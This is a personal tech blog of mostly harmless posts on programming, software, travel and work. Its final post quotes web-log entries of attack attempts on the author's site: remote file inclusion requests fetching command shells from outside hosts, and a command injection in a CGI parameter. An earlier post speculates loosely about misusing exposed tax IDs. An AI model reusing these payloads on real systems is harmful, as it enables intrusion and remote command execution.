aKs's Blog

What does this piece of code mean ?

2007-09-04T13:35:00.000-04:00

if ( strlen( tmp ) )tmp[strlen( tmp )-1]='\0';
if ( strlen(SyndSectList ) )SyndSectList[strlen( SyndSectList )-1]='\0';

Unit testing gaining momentum

2007-08-03T15:46:00.000-04:00

Looks like finally unit testing is getting big among C programmers/enterprises. It has been sometime when unit testing started gaining in general software development, but mostly among object oriented languages which provide better mechanismms for unit testing... finally we are on similar path even for procedural language, which tend to be a bit difficult than their OOL counterpart.

There are many unit testing packages for C and I have been involved with one .. ie 'CUnit' [http://cunit.sourceforge.net/]. Most of the people that i usually get queries from are from embedded space. I would be happy to see that audience diversified to other areas like systems programming and kernel programming.

Intersting SQL Query

2007-03-02T12:02:00.001-05:00

SELECT @unique_key = (SELECT keyvalue FROM XXXXXXX)

Well, Any person with basic SQL knowledge would be able to say what it means, but would also be annoyed to know that this type of the queries are quite common and very easily visible in some of the SQL code in many financial production systems.

Are you surprised at what you see ? Well, if your are planning to move from west to east coast, and are being put into some existing system, be ready to see this type of code.. This is just a sample and be ready for any thing which is of similar quality and worse than this for other languages too.

Having worked in some of the big financial firms, this is not very surprising, and quite frustating to work on any of these older systems, specially when people sitting on those products are not willing to either enhance the product quality or even share the information about the product functionality. I am involved in one such mess, although first in financial world.

Let's see how far can I sail through this mess, and make some improvements to the system or refactor or create new systems for replacing existing systems.

Wish Me Luck!!!

Who is American ?

2007-02-26T09:32:00.001-05:00

Is there a genre born called 'American' or is it people who live in America.... as the essay http://www.commondreams.org/views05/0720-24.htm says, americans are born everyday , everywhere in the world. That is absolute true, this country has a great history of immigration, with people all around the world coming here with a few common dreams.. I would co-relate it to some form of Dream Patterns, that are shared by a lot of us. And most common of the dream pattern being "Earning Good Money", "Having/Living a Higher/Better Quality Life" or having a professionally better work (Which nowadays doesn't seem to be very true anymore....). I consider one of those who cam here for the third factor, however felt a lot disappointed on that factor.

However to be on the positive side, there are other things very good here, which I have tried adapting myself.. to some success. Every country has it's own history, culture and language. What does America offer us in these dimension ? It has a history, which has been created mainly by immigrants, first from Europe, and later from other parts of the world. It has a culture that is mix of many cultures.. and as such nothing like American Culture.. It's the corporate culture of this place, that is more prevalent even in people's lives. Language is again, as earlier two dimensions not original of this place, even language immigrated to this country along with Europeans.

Now having all this knowledge, I am sometimes agonized as to why people make (Specially ones on Radio Channels) fuss about non-english speaking people in public places....

There are Too Many or No matches for this criteria

2007-02-21T15:00:00.000-05:00

"There are Too Many or No matches for this criteria", what does someone understand by this type of ambigous error message.... It's an open ended message, without pin-pointing one side of the boundary.

Some would argue, that it does convey that the result is not in a valid range... but naive person like me cannot make out, what the valid range is specifically, when I search say on an application by certain criteria/terms, and it comes back with this kind of error message, without any actual result or limits being displayed.

I'am not sure, whether I need to narrow my query or need to expand ?

Big security risk for Indian Tax Payer's Identification

2007-02-11T20:54:00.000-05:00

I was recently browsing the NSDL website for exploring options to get a PAN card, which I never received and thought of searching for what my online status was. Tried their search interface, which, to computer user would be quite amazing to know that you can search by combination of name/date of birth. And after entering my credentials... I got result for someone that was not me :))... with his PAN.

Wanna see if someone else with your name and DoB exists in PAN registry.. search for it, probably you'll hit someone other than yourself.. as did I.

Now, after having someone's PAN number and name and DoB.. how difficult would it be for me to open an account .. say a bank or DP trading account and do all sort of funny things... probably get involved with Money Laundering ?? All I need is my own one of utility bill, which in this age of internet I can scan and generate a fake one.. along with a fake photo-copy of PAN card.

I haven't included the search URL, however any average Joe would be able to figure that out from any helpful search engine.

I have already sent an email to the authorities about this, however I believe some guys out there may already have faced the same situation.. and some of them may be bad.. trying out all permutations....

Wake-up India..

Dead Google Notebook

2006-05-11T07:43:00.000-04:00

Got a "404 Document not found" error minutes after receiving google groups mail about rollout of Google Notebook from G-Labs. Is everyone experiencing similar problem?

Experience installing Fedora Core 4 Under Microsoft Virtual PC

2006-04-14T14:32:00.000-04:00

1. Create a virtual PC with good enough RAM allocation to word in linux
2. Create the virtual hard disk for the linux VPC
3. Start VPC from the MS VPC window
- Either start from downloaded ISO, or
- Boot from a bootable media
4. Read the key shortcuts before you start instalation else you may be lost some where in between the installation, unable to come out of the VPC window
5. And the fedora installation crashed at end of the package selection.....

6. Started new session in text mode installation, chose basic personal computer package setting... Started the image copy at 10:03 PM
7. Its 12:51 and package installation still stuck at 78%
8. And finally after 4 hour ordeal the basic instalation is done.. but yet to do is the WLAN setup on fedora
9. Add Soundblaster 16 or Pro Sound Card using sndconfig
10. Selected the NAT configuration
11. installed KDE Separately (Since it was failing from the control panel)
12. Trying to create separate private virtual network for the virtual PC's with diffrent subnet address using the Microsft Loopback Adapters
13. Windows firewall screws the whole system... for which i had to struglle for whole of the day.

Helpful links
http://www.computerbits.com/archive/2004/0600/virtuallinux.html
http://www.ondotnet.com/lpt/wlg/5747

Rajkumar buried with full state honours, five die in violence!!!

2006-04-13T13:54:00.000-04:00

Five died for what cause?? Cause of no-reversal!!! or cause of stupidity ?

Is Google Map - Print screwed ?

2006-04-10T11:52:00.000-04:00

For a past few days I have been noticing that the google maps does not print the maps properly in either of the print options, ie, from the Print on the map/page and, from Print of the FireFox Menu.

Earlier I used to get nicer maps on print, with complete route etc, but have lately been getting strange incomplete map images, which does not even show the complete route area. I'm not even thinking of highlighted/grayed route which used to be in the earlier prints.... It looks like WYSIWIG is no longer true for the Google Maps!!!

I have tried this on multiple systems with different settings... but this seems to be consistent, although wrong behaviuor.

Am I the only one getting this problem on FireFox .. Google seems to be supporting FireFox now???

Google Analytics

2005-12-04T21:57:00.000-05:00

Google Analytics as many of you may not be knowing, is the Website usage analysis Analytics interface provided. It has cool look and feel with very powerful functionality to track the web usage, and many more statistics attached to the website, which could be of use to improve the website sitemap/directions/contents, marketing analysis etc which is directly dependent on the website.

I have been runnig this on my personal website for over a month and this looks really impressive with the kind of statistics/details that it generates and represents the same in more easier to analyze graphical formats. It is a web analytics engine which is a must have for any webmaster. Currently they have stopped new subscription.. keep a tab on when it opens again at http://www.google.com/analytics . It would be handly tool for any webmaster to make cool decisions/repoprt to management. Also it could be used as central dashboard for an array of websites being maintained.

I never knew India was in Middle East, 'n', not in Asia-Pacific Region!!

2005-11-13T23:06:00.000-05:00

The book "Mapping Security" has classified India in the Middle-East/Africa region... I don't know whom should we blame for such a geo-political mistake, should it be the author or the proof-reader, or both of them? The classification is wrong politically as well as geographically. Probably the authors need to look at the globe before they make such classification. Apparantly the author belongs to Symantec (The Anti-Virus Company), and they have quite sizable development center located in Bangalore, India.

Dvorak Asks: Are Media Writers Biased Towards Apple?

2005-10-20T10:40:00.000-04:00

A nice article on why media writers are biased(+) towards Apple Mac.
http://www.realtechnews.com/posts/1983

Everytime I read a magazine or an online article about the computers, I tend to get the feel of superior Mac experience.. although, I do not find it to be any superior for a normal user. I agree that it is superior at deeper layers (kernel) for the latest Mac OS, but otherwise, windows seems to be better option with lot better support and application groups/community.

Should programmers be held responsible personally for the bugs?

2005-10-12T10:47:00.000-04:00

An interesting article on this subject..

http://news.zdnet.co.uk/software/developer/0,39020387,39228663,00.htm

and nearly bashing feedback can be found on the same on slashdot.net

Sardarji Jokes ~ No offences

2005-09-17T09:54:00.000-04:00

A few sardarji jokes... from fury123

1. Sardar proposed a Girl......
Girl said 'I'm 1yr elder to you'...........
Sardar said 'Oye No Problem Soniye,I'll marry you NEXT YEAR.

2. Sardar told his servant: Go and water the plants.
Servant: It"s already raining.
Sardar: So what take an umbrella and go.

3 Sardar-why r all these people running?
Man- This is a race, the winner will get the cup.
Sardar-If only the winner will get the cup, why r others running?

4. A man asked sardarji, why Manmohan singh goes walking at evening not in the morning.
Sardarji replied ''Arey bhai Manmohan is PM not AM''

Trip to chicago

2005-09-07T18:49:00.000-04:00

Went to Irfan's place in chicago for the labour day long weekend. The place is so beautiful... With pretty big and crowded downtown, which gives the feeling of New York and, open ans freshning sub-urbs and living places within city which is pretty good combination to stay in. Stayed there for 3 days.... As usual not much of outing. Went to a few places within the city. Now, this is the limit ... Of blogging from blackberry.

Back to Jersey

2005-08-27T15:00:00.000-04:00

Came back to New Jersey a few days back to start on new consulting project with Directory Engineering Team at Morgan Stanley, NYC. The kind of new and totwork ially different from what I have been doing earlier.. though it is quite challenging to work in the Identity Managementn space and a lot of new things are waiting to be learnt.. beyond simple directory management principles.

Interesting technology updates

2005-08-03T21:22:00.000-04:00

A few of the interesting features/updates that I noticed recently, some date back to 2 months or so. The technology world has been evolving so fast and the amount of changes that happen each day around us, is enormous. Keeping track of new/interesting features becomes quite difficult as the scope of interest widens.. that is what I could figure out in last few weeks.. If you have an alternate thouoght, let me know. A few cool sites I suggest to watch are,
- http://www.google.com/press/zeitgeist.html
- http://virtualearth.msn.com (Try the Aerial view with Labels). Some places like Seattle (Redmond) and Washington have aerial view of 20 yards resolution, which is much better than what yahoo/google provides. Again downside being the map boundaries are limited (Since it uses USGS data).
- http://earth.google.com/
- http://www.xml.com/pub/a/2005/02/09/xml-http-request.html (AJAX, the technology behind the interactive web... ie, gmail, gmaps, virtualearth etc.)

REST API

2005-07-31T13:51:00.000-04:00

I was going through some XML-RPC & SOAP WebServices stuff for PHP and saw yet another Web-based RPC standard called as REST (Representational State Transfer), which is pretty much simpler and with lower invocation overhead than the other two.. atleast for simpler services where the complexities of the SOAP is not needed. The REST model fits very well in basic web flow and is more represntational (hence the name REST) than the other two counterparts.

A few links that I found to be useful, and a few API's which are in its initial stages are as follows,
- http://www.ics.uci.edu/~taylor/documents/2002-REST-TOIT.pdf
- http://upcoming.org/services/api/

Although the REST concept started way back in 1994, it never got into mass market. That is interesting as well as surprising, as to how big companies can kill the simpler concepts for complex enterprise applications, which may not be indeed needed in most of the web applications.

Mixed code (Managed-Unmanaged) debugging issues under VS.NET

2005-07-18T16:40:00.000-04:00

A colleague of mine was working on some managed code (using VS.NET), and started having problems in debug info. display window while debugging for struct/classes (being used as data holders with just the data member variables defined). So I started tinkering around the code he was having problem with and finally came-up with following test code, which simulates problem pretty well, with hack also included in it.

The following code, when compiled and debugged as managed code, with debugging option set to (Mixed or Auto under ProjectProperties>>Debugging>>DebuggerType)

// This failure condition happens for both struct and class
class TestStruct {
public:
/*
// Solution 1: Uncomment this for the values to be shown in the debugger
TestStruct() {
}
*/

long Value;
};

__gc class TestGcClass {
public:
long Value;
};

int _tmain()
{
TestStruct* test = new TestStruct();
test->Value = 10;
/*
// Solution 2: Uncomment this code block for this to work in the debugger
TestStruct best;
best.Value = 20;
*/
TestGcClass* testGcClass = new TestGcClass();
testGcClass->Value = test->Value;
return 0;
}

Any one has idea on what is wrong in the code or VS.NET IDE??

Only thing I could suspect is, the compiler is not generating the default constructor until it sees that the object is being instantiated (It is ignoring the new statement I guess). Not sure on this.. need to check the assembly code being generated.

Solution to The Innovator's Dilemma

2005-06-17T12:38:00.000-04:00

I'm not sure if you have heard of book by name "The Innovator's Dilemma". It is a New York best seller and has a companion book by name "The Innovator's Solution" which is again New York best seller. Both are by the same author and they capture the essence of developing any new business. Although books are more of post-mortems of what happened to what company, but it provides fairly good view of why & what's of any business. Geared more towards technology, since it is one of the main competence in business nowadays.

Thought of going in the reverse direction. Although I have both the books, thought of going in reverse direction and see how that effects the thought process. Started reading "The Innovator's Solution" first.. and somewhere midway now. Let's see how I feel about reading the Dilemma series after seeing the solution... Time to read.

Florida Days

2005-05-31T10:06:00.000-04:00

Moved to florida on a consulting project and thought of sharing a few thoughts about the place/weather etc. The weather is pretty good during morning and evenings but gets too hot during the day-time (between sunrise and sunset). Presently working with Verizon for a new home network management services to be implemented in their systems. The team is small and is and working on prototype development.... Seems to be a lot of slack in the time/schedule.

The place/weather reminds me of Chennai and Mumbai... Weather is pretty warm and humid and may be good visit once a year but not to stay here... Mumbai bhai's would enjoy staying here.

Personal website of R.Kannan

2005-03-27T15:19:00.000-05:00

A nice elaborate introduction to various indian financial institutional structures and procedures.
Pretty impressive and learnable contents.

Personal website of R.Kannan

Looks like I am becoming a broker.

2005-03-21T14:41:00.000-05:00

Don't be shocked. Literally I mean what I wrote in the title, however its a broker-ism of different kind. I don't know how come these changes have started coming up in me.. Nowadays I think only in terms of percentages. Its true for each and every thing I do in day-to-day life.

If I do something for 1/2-1 hour I start worrying, hey I have wasted around 5% of my day and so on... However I have only one regret, that I do not get enough time to study books, Got a lot of stuff to read, a lot of books pending on my desk, hope the situation would change soon nd I would start getting time to read while travelling :).

A few favourite URL's passed to source display on my website

2005-02-28T15:54:00.000-05:00

Hey guys spare my web-hosting providers.. some of the URL's scanned on the system are,

- /sscripts/common/source.php?page=http://www.a511.com/fr/gr/config.php
- /sscripts/common/source.php?page=http://www.logic123.narod.ru/cmd.php
- /sscripts/common/source.php?page=http://www.logic123.narod.ru/cmd.php?cmd=ls
- /cgi-bin/calendar.pl?configdir=|echo%20;echo%20;id;echo%20;echo|
- /sscripts/common/source.php?page=http://paginas.aol.com.br/linuxerlinuxer/cmd.txt?&cmd=id

and most of them originated from ukraine :)